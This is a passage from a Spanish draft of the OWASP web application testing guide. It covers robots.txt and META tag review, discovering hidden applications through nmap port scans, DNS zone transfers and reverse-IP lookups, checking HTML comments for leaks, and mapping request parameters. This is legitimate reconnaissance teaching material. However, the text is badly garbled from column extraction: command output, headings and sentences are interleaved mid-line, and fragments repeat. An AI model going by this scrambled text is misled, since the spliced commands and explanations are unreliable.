Objetivos de la prueba Se espera que el proyecto OWASP Unmaskme se convierta en otra herramienta en línea para dejar huellas digitales de cualquier sitio web con una interpretación global de todos los metadatos web extraídos. La idea detrás de este proyecto es que cualquier persona a cargo de un sitio web pueda probar los metadatos que el sitio muestra al mundo y evaluar desde un punto de vista de seguridad.

1. Fuga de información de la ruta o rutas al directorio o carpeta de la aplicación web. 2. Crear la lista de directorios que deben ser evitados por las arañas, robots o rastreadores.

Aunque este proyecto está aún en desarrollo, usted puede probar el concepto de esta idea en español. Cómo se prueba robots.txt

Referencias Libros Blancos • Saumil Shah: “An Introduction to HTTP fingerprinting” www.net-square.com

• Anant Shrivastava: “Web Application Finger Printing”

Las arañas, robots o rastreadores web recuperan una página web y luego, recursivamente, atraviesan hipervínculos para recuperar otros contenidos web. Su comportamiento aceptado está especificado por el protocolo de Exclusión de Robots del archivo robots.txt en el directorio web principal [1] Como ejemplo, el principio del archivo robots.txt de http://www.google.com/robots.txt probado el 11 de agosto de 2013 se cita a continuación:

anantshri.info

Remediación

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 46

Guia de pruebas 4.0 "Borrador"

User-agent: * Disallow: /search

El archivo robots.txt es recuperado del directorio principal (webroot) del servidor web. Por ejemplo, para recuperar robots.txt de www.google.com usando “wget” o “curl”:

Disallow: /sdch

cmlh$ wget http://www.google.com/robots.txt

Disallow: /groups

--2013-08-11 14:40:36-- http://www.google.com/robots.txt

Disallow: /images

Resolving www.google.com... 74.125.237.19, ...

Disallow: /catalogs

74.125.237.17,

74.125.237.18,

Connecting to www.google.com|74.125.237.17|:80... connected. HTTP request sent, awaiting response... 200 OK

La directiva de usuario-agente se refiere al web específico de araña/robot/rastreador. Por ejemplo, el usuario-agente Googlebot se refiere al robot araña de Google mientras " Usuario-Agente: bingbot" [1] se refiere al rastreador de Microsoft/Yahoo!. User-Agent: * En el ejemplo anterior se aplica a todas las arañas/robots/rastreadores web [2] como se cita a continuación:

User-agent: *

La directiva Disallow especifica qué recursos están prohibidos por las arañas/robots/rastreadores. En el ejemplo anterior, están prohibidos directorios como los siguientes:

Length: unspecified [text/plain] Saving to: ‘robots.txt.’

[ <=>

] 7,074

--.-K/s in 0s

2013-08-11 14:40:37 (59.7 MB/s) - ‘robots.txt’ saved [7074]

cmlh$ head -n5 robots.txt

...

User-agent: *

Disallow: /search

Disallow: /search

Disallow: /sdch

Disallow: /sdch

Disallow: /groups

Disallow: /images Disallow: /catalogs

cmlh$ curl -O http://www.google.com/robots.txt % Total % Received % Xferd Average Speed Time Current

Time

Time

Dload Upload Total Spent Left Speed Las arañas, robots o rastreadores web pueden ignorar intencionalmente las directivas Disallow especificadas en un archivo robots.txt [3], tales como las de las redes sociales [2] para asegurarse de que los vínculos compartidos sean todavía válidos. Por lo tanto, robots.txt no debe considerarse como un mecanismo para imponer restricciones de cómo el contenido web se debe acceder, almacenar o volver a publicar por terceros.

101 7074 0 7074 0

0 9410

0 --:--:-- --:--:-- --:--:-- 27312

cmlh$ head -n5 robots.txt User-agent: * Disallow: /search

Disallow: /sdch robots.txt in el directorio principal con “wget” o “curl” Disallow: /groups Disallow: /images

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 47

Guia de pruebas 4.0 "Borrador"

(https://www.google.com/webmasters/tools). Esta herramienta puede ayudar con las pruebas y el procedimiento es el siguiente: 1. Inscríbase a Google Webmaster Tools con una cuenta de Google. 2. En el panel de control, escriba la URL del sitio a analizar. 3. Elija entre los métodos disponibles y siga las instrucciones en la pantalla.

robots.txt in el directorio principal con rockspider "rockspider" [3] automatiza la creación de las posibilidades iniciales de arañas/robots/rastreadores de archivos y directorios o carpetas de un sitio web.

Por ejemplo, para crear las posibilidades iniciales en la directiva autorizada de www.google.com usando “rockspider”[4]:

cmlh$ ./rockspider.pl -www www.google.com

“Rockspider” Alpha v0.1_2

Copyright 2013 Christian Heinrich

Etiquetas META Las etiquetas <META> se encuentran en la sección HEAD de cada documento HTML y deben ser coherentes a través del sitio web en el evento probable de que el punto de partida de la araña/robot/rastreador no comience desde un vínculo de documento fuera del directorio principal (webroot), es decir, un "enlace profundo" [5].

Si no hay una entrada “<META NAME=”ROBOTS” ... >” entonces el

“Protocolo de Exclusión de Robots” usa la condición base de “INDEX,FOLLOW” respectivamente. Entonces las otras dos entradas válidas definidas por el “Protocolo de Exclusión de Robots” se preestablecen con “NO...” , es decir, “NOINDEX” y “NOFOLLOW”.

Licensed under the Apache License, Version 2.0

1. Downloading http://www.google.com/robots.txt

Las arañas/robots/rastreadores web pueden ignorar deliberadamente la etiqueta “<META NAME=”ROBOTS”” ya que se prefiere el acuerdo del archivo robots.txt. Por lo tanto, las <META> etiquetas no deben considerarse el mecanismo primario, sino más bien un control complementario a robots.txt.

2. “robots.txt” saved as “www.google.com-robots.txt” 3. Sending Allow: URIs of www.google.com to web proxy i.e. 127.0.0.1:8080

<META>Etiquetas - con Burp

/catalogs/about sent /catalogs/p? sent /news/directory sent

Basado en las directivas, de no permitir (Disallow), listadas en el archivo robots.txt en el directorio principal, la búsqueda normal de una expresión " <META name="”ROBOTS””" dentro de cada página web inicia y el resultado se compara al archivo robots.txt en el directorio principal.

...

Analice robots.txt utilizando las herramientas de Google Webmaster

Por ejemplo, el archivo robots.txt de facebook.com tiene una entrada de "Disallow: /ac.php" [6] y la consiguiente búsqueda de " <META name="”ROBOTS””" indicada a continuación

Los propietarios de sitios web pueden utilizar la función "Analize robots.txt" de Google para analizar el sitio web como parte de su "Google Webmaster Tools"

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 48

Guia de pruebas 4.0 "Borrador"

Un paso fundamental en las pruebas de vulnerabilidades en aplicaciones web es averiguar qué aplicaciones particulares están alojadas en un

servidor web. Muchas aplicaciones tienen vulnerabilidades y estrategias de ataque conocidas que pueden ser explotadas para obtener el control remoto para explotar los datos. Además, muchas aplicaciones se encuentran a menudo mal configuradas o no están actualizadas, debido a la percepción de que sólo se utilizan "internamente" y, por lo tanto, no existe amenaza.

Lo anterior podría considerarse un error, puesto que el " INDEX,FOLLOW " es la etiqueta <META> predeterminada por el "Protocolo de Exclusión de Robots", sin embargo, "Disallow: /ac.php" aparece en robots.txt.

Con la proliferación de servidores web virtuales, la relación tipo 1:1-tradicional entre una dirección IP y un servidor web está perdiendo gran parte de su significado original. No es raro tener varios sitios web o aplicaciones cuyos nombres simbólicos resulten en la misma dirección IP. Este escenario no se limita a entornos de alojamiento (hosting), sino que también se aplica a los entornos corporativos.

Herramientas Los profesionales en seguridad a veces reciben un conjunto de direcciones IP como un objetivo de pruebas. Es discutible que este escenario sea parecido a una relación de tipo prueba de penetración, pero, en cualquier caso, se espera que dicha sesión pondría a prueba todas las aplicaciones web accesibles a través de este objetivo. El problema es que la dirección IP aloja un servicio HTTP en el puerto 80, pero si un evaluador debe acceder especificando la dirección IP (que es todo lo que sabe) reportará "Ningún servidor web configurado en esta dirección" o un mensaje similar. Pero el sistema puede "ocultar" una serie de aplicaciones web, asociadas a nombres simbólicos, sin relación del (DNS). Obviamente, el alcance del análisis se ve afectado profundamente si el evaluador prueba todas las aplicaciones o sólo las aplicaciones de las que está consciente.

• Buscador (Funcion de Ver Origen) • curl • wget • rockspider[7]

Referencias Libros Blancos A veces, la especificación de destino es más rica. El evaluador puede recibir una lista de direcciones IP y sus correspondientes nombres simbólicos. Sin embargo, esta lista podría transmitir información parcial, es decir, podría omitir algunos nombres simbólicos y el cliente podría ni siquiera estar consciente de aquello (esto es más probable que ocurra en las grandes organizaciones).

[1] “The Web Robots Pages” - http://www.robotstxt.org/ [2] “Block and Remove Pages Using a https://support.google.com/webmasters/answer/156449

robots.txt

File”

-

[3] “(ISC)2 Blog: The Attack of the Spiders from the Clouds” http://blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html [4] “Telstra customer database exposed” - http://www.smh.com.au/it-pro/securityit/telstra-customer-database-exposed-20111209-1on60.html

Enumere las aplicaciones en el servidor web (OTG-INFO-004) Resumen

Otros temas que afectan el alcance de la evaluación están representados por aplicaciones web publicadas en URLs no evidentes (por ejemplo, http://www.example.com/some-strange-URL), a las que no se hace referencia en otros lugares. Esto puede suceder por error (debido a configuraciones incorrectas) o intencionalmente (por ejemplo, interfaces administrativas no publicitadas).

Para abordar estos temas, es necesario realizar un descubrimiento de aplicaciones web.

Objetivos de la prueba

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 49

Guia de pruebas 4.0 "Borrador"

Enumerar las aplicaciones que existen dentro del ámbito en un servidor web

Cómo probar

evaluador sepa explícitamente cómo llegar a ellas, es decir, el evaluador sabe las url1 y url2 url3. Generalmente no hay necesidad de publicar aplicaciones web de esta manera, a menos que el propietario no desee que se encuentren accesibles de una manera estándar y esté dispuesto a informar a los usuarios sobre su ubicación exacta. Esto no quiere decir que estas aplicaciones son secretas, sólo que su existencia y localización no son anunciadas explícitamente.

Pruebas de Caja Negra El descubrimiento de aplicaciones web es un proceso dirigido a identificar aplicaciones web en una infraestructura determinada. Este último se suele especificar como un conjunto de direcciones IP (tal vez un bloque de red), pero puede consistir de un conjunto de nombres simbólicos DNS o una mezcla de los dos. Esta información se entrega antes de la ejecución de una evaluación, ya sea una prueba de penetración de estilo clásico o una evaluación enfocada en las aplicaciones. En ambos casos, a menos que las reglas de contratación especifiquen lo contrario (por ejemplo, "prueba sólo la aplicación ubicada en el http://www.example.com/ enlace"), la evaluación debe esforzarse por tener el mayor alcance posible, es decir, debe identificar todas las aplicaciones accesibles a través del objetivo dado. En los ejemplos siguientes constan algunas técnicas que pueden emplearse para lograr este objetivo.

Nota: Algunas de las técnicas siguientes se aplican a servidores de

conexión a internet, es decir, DNS y servicios de búsqueda en la web de IP inversa y el uso de motores de búsqueda. Los ejemplos hacen uso de la direcciones IP privadas (por ejemplo 192.168.1.100), que, a menos que se indique lo contrario, representan direcciones IP genéricas y son utilizadas solamente con el propósito del anonimato.

2. Puertos no-estándar Aunque las aplicaciones web generalmente se ubican en el puerto 80 (http) y 443 (https), no hay nada mágico acerca de estos números de puertos. De hecho, las aplicaciones web pueden estar asociadas con puertos TCP arbitrarios y pueden ser referenciados especificando el número de puerto como a continuación: http[s]://www.example.com:port/. Por ejemplo, http://www.example.com:20000/

3. Hospedajes (host) virtuales Las DNS permiten una dirección IP única asociada a uno o más nombres simbólicos. Por ejemplo, la dirección IP 192.168.1.100 podría asociarse a los nombres DNS www.example.com, helpdesk.example.com y webmail.example.com. No es necesario que todos los nombres pertenezcan al mismo dominio DNS. Esta relación de 1 a N puede usarse para servir a diferentes contenidos con los denominados hospedajes (host) virtuales. La información que especifica al host virtual al cual nos estamos refiriendo está incrustada en el encabezado HTTP 1.1 [1].

Uno no podría sospechar de la existencia de otras aplicaciones web adicionales a la obvia www.example.com, a menos que sepan de helpdesk.example.com y webmail.example.com. Hay tres factores que influyen en cuantas aplicaciones están relacionadas con un determinado nombre DNS (o una dirección IP): Los enfoques para encarar la situación 1 - URLs no estándar 1. URL con bases diferentes El punto de entrada obvio de una aplicación web es www.example.com, es decir, con esta nominación abreviada pensamos que la aplicación web se origina en http://www.example.com/ (lo mismo se aplica para https). Sin embargo, a pesar de que esta es la situación más común, no hay nada que obligue a la aplicación para que empiece en "/".

No hay ninguna manera de comprobar totalmente la existencia de aplicaciones web sin el nombre estándar. Al ser no estándar, no hay criterios establecidos o convenidos para la nomenclatura, sin embargo, hay una serie de técnicas que puede utilizar el evaluador para obtener información adicional.

En primer lugar, si el servidor web está mal configurado y permite navegar por el directorio, es posible detectar estas aplicaciones. Los escáneres de vulnerabilidad pueden ayudar en este sentido. Por ejemplo, el mismo nombre simbólico puede ser asociado a tres aplicaciones web tales como: http://www.example.com/url1 http://www.example.com/url2 http://www.example.com/url3

En este caso, el enlace http://www.example.com/ no estaría asociado con una página significativa, y las tres aplicaciones estarían "ocultas", a menos que el

En segundo lugar, estas aplicaciones pueden estar referenciadas por otras páginas web y hay la posibilidad de que hayan sido procesadas por un robot araña e indexadas por los motores de búsqueda web. Si los evaluadores sospechan de la

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 50

Guia de pruebas 4.0 "Borrador"

existencia de este tipo de aplicaciones "ocultas" en www.example.com lo podrían buscar utilizando el operador del sitio web y examinar el resultado de una consulta para "site: www.example.com". Entre los URLs devueltos podrían haber algunos apuntando a una aplicación no tan obvia.

De este ejemplo uno puede ver que:

• Hay un servidor de http Apache corriendo en el puerto 80.

Otra opción es sondear URL que podrían ser candidatos probables para aplicaciones no publicadas. Por ejemplo, un correo web frontal puede ser accesible desde la URL https://www.example.com/webmail, https://webmail.example.com/ o https://mail.example.com/. Lo mismo se aplica para interfaces administrativas, que pueden ser publicadas en URL ocultas (por ejemplo, una interfaz administrativa Tomcat) y, sin embargo, no hacen referencia en ningún lugar. Así que haciendo un poco de búsqueda de estilo diccionario (o "adivinanza inteligente") podría arrojar algunos resultados. Los escáneres de vulnerabilidad pueden ayudar en este caso.

• Parece que hay un servidor https en el puerto 443 (pero esto debe ser confirmado, por ejemplo, visitando https://192.168.1.100 con un navegador) • En el puerto 901hay una interfaz de web de Samba SWAT. • El servicio en Puerto 1241 no es https, pero es el demonio Nessus enlazado al SSL. • El puerto 3690 ofrece un servicio no especificado (nmap devuelve su huella digital - aquí ha sido omitida por claridad - junto a las instrucciones para su incorporación en la base de datos de huellas dactilares nmap, siempre y cuando usted sepa qué servicio representa).

Enfoques para solucionar el tema 2 - puertos no estándar Es fácil comprobar la existencia de aplicaciones web en puertos no estándar. Un escáner de puertos como nmap [2] es capaz de realizar el reconocimiento de servicio mediante la opción - sV e identificará los servicios http [s] en puertos arbitrarios. Lo que se requiere es un análisis completo de los 64k de espacio del puerto TCP.

• Otro servicio no identificado en el puerto 8000. Esto posiblemente podría ser un http, ya que no es raro encontrar servidores de http en este puerto. Vamos a examinar esta cuestión:

Puertos interesantes en 192.168.1.100: Por ejemplo, el siguiente comando buscará, con un escaner de conección TCP, todos los puertos abiertos en la IP 192.168.1.100 y tratará de determinar qué servicios están atados a ellos (sólo se muestran los modificadores esenciales – nmap ofrece un amplio conjunto de opciones, cuya discusión está fuera de alcance):

nmap –PN –sT –sV –p0-65535 192.168.1.100

Es suficiente examinar la salida y buscar el http o la indicación de servicios enlazados al SSL (que debe ser investigado para confirmar que son https). Por ejemplo, la salida del comando anterior podría verse así:

(Los 65527 puertos escaneados, pero que no se muestran abajo, son los que están en estado cerrado) PORT

STATE SERVICE

VERSION

22/tcp open ssh

OpenSSH 3.5p1 (protocol 1.99)

80/tcp open http

Apache httpd 2.0.40 ((Red Hat Linux))

443/tcp open ssl

OpenSSL

Esto confirma que en realidad es un servidor HTTP. Alternativamente, evaluadores podrían haber visitado la URL con un navegador web, o utilizar comandos Perl GET o HEAD que imitan interacciones HTTP como mencionadas anteriormente (sin embargo, las solicitudes HEAD pueden no respetadas por todos los servidores).

los los las ser

Apache Tomcat corriendo en un puerto 8080 901/tcp open http

Samba SWAT administration server

1241/tcp open ssl

Nessus security scanner

3690/tcp open unknown 8000/tcp open http-alt? 8080/tcp open http

Apache Tomcat/Coyote JSP engine 1.1

La misma tarea puede realizarse por escáneres de vulnerabilidad, pero primero compruebe que el escáner escogido es capaz de identificar los servicios http[s] que corren en puertos no estándar. Por ejemplo, Nessus [3] es capaz de identificarlos en puertos arbitrarios (siempre y cuando sea instruido para escanear todos los puertos) y proporcionará, en relación con nmap, una serie de pruebas de vulnerabilidades conocidas de servidores web, así como en la configuración SSL de servicios https. Como se indicó anteriormente, Nessus también es capaz de identificar aplicaciones

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 51

Guia de pruebas 4.0 "Borrador"

populares o interfaces web que, de lo contrario, podrían pasar desapercibidas (por ejemplo, una interfaz de administración de Tomcat).

www.example.com y el no tan obvio helpdesk.example.com y webmail.example.com (y probablemente otros). Revise todos los nombres devueltos por la transferencia de zona y considere a todos aquellos que se relacionan con el objetivo a ser evaluado.

Enfoques para solucionar el tema 3 - hosts virtuales Hay una serie de técnicas que pueden utilizarse para identificar nombres DNS asociados a una dirección IP determinada x.y.z.t.

Tratando de solicitar una transferencia de zona para owasp.org desde uno de los nombres de servidor:

$ host -l www.owasp.org ns1.secure.net Using domain server: Transferencias de Zonas DNS

Name: ns1.secure.net Esta técnica tiene un uso limitado en la actualidad, dado el hecho de que las transferencias de zonas, en su mayoría, no son respetadas por servidores DNS. Sin embargo, puede valer la pena intentarlo. En primer lugar, los evaluadores deberán determinar los servidores de nombres que sirven x.y.z.t. Si se conoce un nombre simbólico para x.y.z.t (sea www.example.com), los nombres de los servidores pueden ser determinados por medio de herramientas como nslookup, host, o dig, solicitando registros DNS NS.

Si no conoce ningún nombre simbólico para x.y.z.t, pero la definición de destino contiene al menos un nombre simbólico, los evaluadores pueden probar aplicando el mismo proceso y consultar el nombre del servidor de ese nombre (con la esperanza de que x.y.z.t sea servido también por el servidor del mismo nombre). Por ejemplo, si el objetivo consiste en la dirección IP x.y.z.t y el nombre mail.example.com, determine los nombres de los servidores para el dominio example.com.

Address: 192.220.124.10#53 Aliases:

Host www.owasp.org not found: 5(REFUSED)

Consultas Inversas de DNS Este proceso es similar al anterior, pero se basa en registros DNS (PTR) inversos. En lugar de solicitar una transferencia de zona, intente establecer el tipo de registro como PTR y emita una consulta en la dirección IP. Si los evaluadores tienen suerte, pueden recibir de vuelta una entrada con un nombre DNS. Esta técnica se basa en la existencia de mapas de nombres IP, símbolos, lo que no está garantizado.

El siguiente ejemplo muestra cómo identificar el nombre de los servidores de www.owasp.org usando el comando de alojamiento: Búsquedas DNS basadas en la web $ host -t ns www.owasp.org www.owasp.org is an alias for owasp.org. owasp.org name server ns1.secure.net. owasp.org name server ns2.secure.net.

Este tipo de búsqueda es similar a la transferencia de zonas de DNS, pero se basa en servicios web que permiten búsquedas basadas en el nombre de DNS. Uno de estos servicios es el de búsqueda de DNS de Netcraft, disponible en http://searchdns.netcraft.com/?host. El evaluador puede consultar una lista de nombres que pertenecen a su dominio elegido, como example.com. Luego comprobarán si los nombres que obtuvieron son pertinentes al objetivo que están estudiando. Servicios de IP inversa

Una transferencia de zona puede solicitarse ahora a los nombres de los servidores para el dominio example.com. Si el evaluador es afortunado, recibirá una lista de las entradas DNS de este dominio. Esto incluirá el obvio

Los servicios de IP inversa son similares a las consultas inversas de DNS, con la diferencia que los evaluadores consultan una aplicación web en lugar de un nombre de servidor. Hay una cantidad de servicios disponibles. Ya que tienden a devolver resultados parciales (y a menudo diferentes), es mejor utilizar varios servicios para obtener un análisis más exhaustivo.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 52

Guia de pruebas 4.0 "Borrador"

Domain tools reverse IP: domaintools.com (requires free membership)

MSN search: search.msn.com (syntax: “ip:x.x.x.x” (without the quotes)

Webhosting info: whois.webhosting.info (syntax: http://whois.webhosting.info/x.x.x.x) Googlear

DNSstuff: dnsstuff.com (multiple services available)

Siguiendo la información recopilada mediante las técnicas anteriores, los evaluadores pueden confiar en los motores de búsqueda y posiblemente refinar e incrementar su análisis. Esto podría ceder evidencia de nombres simbólicos adicionales pertenecientes al objetivo o aplicaciones accesibles a través de URLs no-obvios.

net-square: net-square.com ¶(multiple queries on domains and IP addresses, requires installation)

tomDNS: tomdns.net (some services are still private at the time of writing)

SEOlogs.com: seologs.com ¶(reverse-IP/domain lookup)

En el ejemplo siguiente se muestra el resultado de una consulta a uno de los servicios de IP inversa anteriores para 216.48.3.18, la dirección IP de www.owasp.org. Tres asignaciones de nombres simbólicos no obvios

adicionales a la misma dirección han sido revelados.

Por ejemplo, teniendo en cuenta el ejemplo anterior sobre www.owasp.org, el evaluador podría consultar Google y otros motores de búsqueda indagando información (entiéndase, los nombres DNS) relacionados con los nuevos dominios recientemente descubiertos de webgoat.org, webscarab.com y webscarab.net.

Las técnicas para Googlear se explican en pruebas: arañas, robots y rastreadores.

Pruebas de Caja Gris No son aplicables. La metodología es igual a la que se describió en las pruebas de Caja Negra, no importa cuánta información tiene el evaluador al inicio.

Herramientas • Herramientas de búsqueda DNS como nslookup, dig y similares. • Motores de búsqueda (Google, Bing y otros motores de búsqueda principales). • Servicios especializados relacionados con DNS basado en la web: ver texto.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 53

Guia de pruebas 4.0 "Borrador"

• Nmap - insecure.org

...

• Nessus Vulnerability Scanner - nessus.org • Nikto - cirt.net

1

Mary

Referencias Libros Blancos

2

Peter

3

Joe

[1] RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1

Revise los comentarios sobre el sitio web y los metadatos en busca de fugas de información (OTG-INFO-005) Resumen

El evaluador puede incluso encontrar algo como esto:



Es muy común e incluso recomendable para los programadores el incluir comentarios detallados y metadatos en su código fuente. Sin embargo, los comentarios y metadatos incluidos en el código HTML podrían revelar Revise la información de la versión HTML en busca de números de versión válidos y Definición de Tipo de Datos (DTD) de URLs información interna que no debería estar disponible a atacantes potenciales. Los comentarios y metadatos deben ser revisados con el fin de determinar si hay fugas de información.



Objetivos de la prueba

• “strict.dtd” -- default strict DTD

Revise los comentarios y metadatos de la página web para entender mejor la aplicación y encontrar cualquier fuga de información.

• “loose.dtd” -- loose DTD • “frameset.dtd” -- DTD for frameset documents

Cómo probar Los comentarios HTML son utilizados por los desarrolladores para incluir información sobre la depuración de la aplicación. A veces se olvidan de los comentarios y se quedan en la producción. Los evaluadores deben busquar comentarios en HTML que comienzan con "".

Algunas Metaetiquetas no proveen vectores de ataque activos, sino más bien permiten a un atacante hacer un perfil de la aplicación <META name=”Author” content=”Andrew Muller”>

Pruebas de Caja Negra Compruebe el código HTML en busca de comentarios que contengan información sensible que pueda ayudar al atacante a conocer más de cerca la aplicación. Podrían ser códigos SQL, nombres de usuario y contraseñas, direcciones IP internas o información de depuración.

Algunas Meta etiquetas HTTP modifican los encabezados de respuesta, como httpequiv que establece un encabezado de respuesta HTTP basado en el atributo del contenido de un meta elemento, tal como:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 54

Guia de pruebas 4.0 "Borrador"

<META http-equiv=”Expires” content=”Fri, 21 Dec 2012 12:34:56 GMT”>

La plataforma para la selección de contenido de Internet (PICS) y el protocolo de recursos de Descripción Web (POWDER) proporcionan infraestructura para asociar metadatos con contenido de Internet.

que resultará en el encabezado HTTP:

Pruebas de Caja Gris

Expires: Fri, 21 Dec 2012 12:34:56 GMT

No aplicable.

Y

Herramientas • Wget <META http-equiv=”Cache-Control” content=”no-cache”>

• Browser “view source” function • Eyeballs Resultará en

• Curl

Cache-Control: no-cache

Referencias Pruebe para ver si esto puede utilizarse para llevar a cabo ataques de inyección (por ejemplo ataques CRLF). También puede ayudar a determinar el nivel de fuga de datos a través de la caché del navegador.

Libros Blancos [1] HTML version 4.01: w3.org

Una Meta etiqueta común (pero no obediente en WCAG) es la actualización. [2] XHTML (for small devices): w3.org <META http-equiv=”Refresh” content=”15;URL=https://www.owasp.org/index.html”>

[3] HTML version 5 : w3.org

GMT”>

Un uso común para una Meta etiqueta es especificar palabras clave que un motor de búsqueda podría usar para mejorar la calidad de los resultados.

<META name=”keywords” lang=”en-us” content=”OWASP, security, sunshine, lollipops”>

Identificar puntos de entrada de la aplicación (OTG-INFO-006) Resumen Enumerar la aplicación y su superficie de ataque es un precursor clave antes que cualquier prueba de fondo puede llevarse a cabo, ya que

GMT”> Aunque la mayoría de servidores web administran la indexación de los motores de búsqueda mediante el archivo robots.txt, también pueden ser gestionados por Meta etiquetas. La etiqueta a continuación recomendará a los robots que no indexen y no sigan enlaces de la página HTML que contienen la etiqueta. <META name=”robots” content=”none”>

permite al evaluador identificar probables áreas de debilidad. Esta sección pretende ayudar a identificar y mapear las áreas dentro de la aplicación que deben investigarse una vez que la enumeración y el mapeo se han completado.

Objetivos de la prueba

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 55

Guia de pruebas 4.0 "Borrador"

Entender cómo se forman las solicitudes y las respuestas típicas de la aplicación.

Cómo probar

Una vez que ha mapeado cada área de la aplicación, puede ir a través de la aplicación y probar cada una de las áreas que ha identificado y tomar notas de lo que funcionó y lo que no funcionó. El resto de esta guía identificará cómo se prueba cada una de estas áreas de interés, pero esta sección debe realizarse antes de que la prueba real pueda comenzar.

Antes de cualquier prueba, el evaluador debe tener siempre una buena comprensión de la aplicación y de cómo el usuario y el navegador se comunican con él. Mientras el evaluador recorre a través de la aplicación, debe prestar atención especial a todas las solicitudes HTTP (métodos GET y POST, también conocidos como Verbos), así como cada parámetro y campo de forma que se pasa a la aplicación. Además, debe prestar atención cuando se utilizan las solicitudes GET y cuando las solicitudes POST para pasar parámetros a la aplicación. Es muy común que se utilicen las solicitudes GET, pero cuando se pasa información sensible, a menudo se realiza dentro del cuerpo de una petición POST.

A continuación se presentan algunos puntos de interés para todas las solicitudes y respuestas. Dentro de la sección de peticiones, concéntrese en los métodos GET y POST, ya que en éstos aparecen la mayoría de las solicitudes. Tenga en cuenta que otros métodos, como PUT y DELETE, se pueden utilizar. A menudo, estas solicitudes más raras pueden también exponer vulnerabilidades. Hay una sección especial en esta guía dedicada a probar estos métodos HTTP.

Note que para ver los parámetros enviados en una petición POST, el evaluador tendrá que utilizar una herramienta como un interceptador de proxy (por ejemplo, el OWASP: Zed Attack Proxy (ZAP)) o un complemento del navegador. Dentro de la solicitud POST, el evaluador debe también poner atención especial a cualquier campo oculto que se esté pasando a la aplicación, ya que estos generalmente contienen información confidencial, como información sobre el estado, cantidad de artículos o el precio de los artículos que el desarrollador nunca quiso que usted pudiera ver o cambiar.

En la experiencia del autor, ha sido muy útil utilizar un interceptador de proxy y una hoja de cálculo para esta etapa de la prueba. El proxy hará el seguimiento de cada solicitud y respuesta entre el evaluador y la aplicación mientras él o ella recorre a través de él.

Adicionalmente, en este punto, el evaluador normalmente atrapa cada solicitud y respuesta para que él pueda ver exactamente cada encabezado, parámetro, etc., que pasa a la aplicación y lo que devuelve. Esto puede ser bastante tedioso a veces, especialmente para sitios grandes e interactivos

bancaria). Sin embargo, la experiencia le dirá al evaluador qué es lo que debe buscar y el tiempo utilizado durante esta fase puede reducirse significativamente. (piense en una aplicación

Mientras el evaluador recorre a través de la aplicación, debe tomar nota de todos los parámetros interesantes en la URL, encabezados personalizados o cuerpo de las peticiones/respuestas y guardarlas en una hoja de cálculo. La hoja de cálculo debe incluir la página solicitada (sería bueno añadir también el número de solicitud del proxy, para referencias futuras), los parámetros de interés, el tipo de solicitud (POST/GET), si el acceso es autenticado/no autenticado, si se usa SSL, si es parte de un proceso de pasos multiples y otras notas pertinentes.

Solicitudes:

• Identificar dónde se utilizan peticiones GET y POST. • Identificar todos los parámetros en las peticiones POST (estos son en el cuerpo de la solicitud) • Preste especial atención a los parámetros ocultos en la petición POST. Cuando una petición POSTes enviada, todos los campos del formulario (incluyendo parámetros ocultos) se enviarán en el cuerpo del mensaje HTTP a la aplicación. Estos normalmente no son vistos a menos que se utilice un proxy o se vea el código fuente del HTML. Además, la página siguiente que se muestra, sus datos y el nivel de acceso pueden todos ser diferentes dependiendo del valor de los parámetros ocultos. • Identifique todos los parámetros utilizados en una petición GET (es decir, la URL), en particular la cadena de consulta (generalmente después de un signo ?). • Identifique todos los parámetros de la cadena de consulta. Estos generalmente están en pares, como foo = bar. También tenga en cuenta que muchos de los parámetros pueden estar en una cadena de consulta separados por un &, ~,:, o cualquier otro carácter especial o codificación.

• Una nota especial cuando se trata de identificar varios parámetros en una cadena dentro de una solicitud POST es que algunos o todos los parámetros serán necesarios para ejecutar los ataques. El evaluador debe identificar todos los parámetros (incluso si están codificados o encriptados) e identificar los que son procesados por la aplicación. Las secciones posteriores de la guía van a identificar cómo medir estos parámetros. En este punto, sólo asegúrese de que cada uno sea identificado. • También preste atención a cualquier encabezado adicional o personalizado que no sea común (como debug = False).

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 56

Guia de pruebas 4.0 "Borrador"

Respuestas:

EJEMPLO 2 En este ejemplo se muestra una solicitud POST que debería conectarle a una aplicación.

• Identifique dónde se establecen nuevas cookies (encabezado Set-Cookie), modifican o añaden. • Identifique dónde hay redireccionamientos (estado de código 3xx HTTP) códigos de estado 400, en especial 403 Prohibido (Forbiden) y 500 errores de servidor interno (internal server errors) durante las respuestas normales (es decir, sin modificar solicitudes). • También note dónde se utiliza cualquier encabezado interesante. Por ejemplo, "Server: BIG-IP" indica que el sitio tiene su carga equilibrada. Aunque si un sitio tiene su carga equilibrada y un servidor está configurado incorrectamente, entonces el evaluador podría tener que hacer varias solicitudes para acceder al servidor vulnerable, dependiendo del tipo de equilibrio de carga usado.

POST https://x.x.x.x/KevinNotSoGoodApp/authenticate.asp?service=login Host: x.x.x.x Cookie: SESSIONID=dGhpcyBpcyBhIGJhZCBhcHAgdGhhdCBzZXRzIH ByZWRpY3RhYmxlIGNvb2tpZXMgYW5kIG1pbmUgaXMgMTIz NA== CustomCookie=00my00trusted00ip00is00x.x.x.x00 Cuerpo del mensaje POST:

Pruebas de Caja Negra Probando en busca de puntos de entrada a la aplicación

user=admin&pass=pass123&debug=true&fromtrustIP=true

Los siguientes son dos ejemplos de cómo buscar puntos de entrada a la aplicación.

Result Expected: EJEMPLO 1 Este ejemplo muestra una solicitud GET que debería adquirir un elemento de una aplicación de compras en línea.

GET https://x.x.x.x/shoppingApp/buyme.asp?CUSTOMERID=100&ITEM= z101a&PRICE=62.50&IP=x.x.x.x Host: x.x.x.x Cookie: SESSIONID=Z29vZCBqb2IgcGFkYXdhIG15IHVzZXJuYW1lIGlzIG ZvbyBhbmQgcGFzc3dvcmQgaXMgYmFy

En este ejemplo el evaluador debe anotar todos los parámetros como lo hizo antes, pero observe que los parámetros se pasan en el cuerpo del mensaje y no en la URL. Además, tenga en cuenta que hay una cookie personalizada que está siendo utilizada.

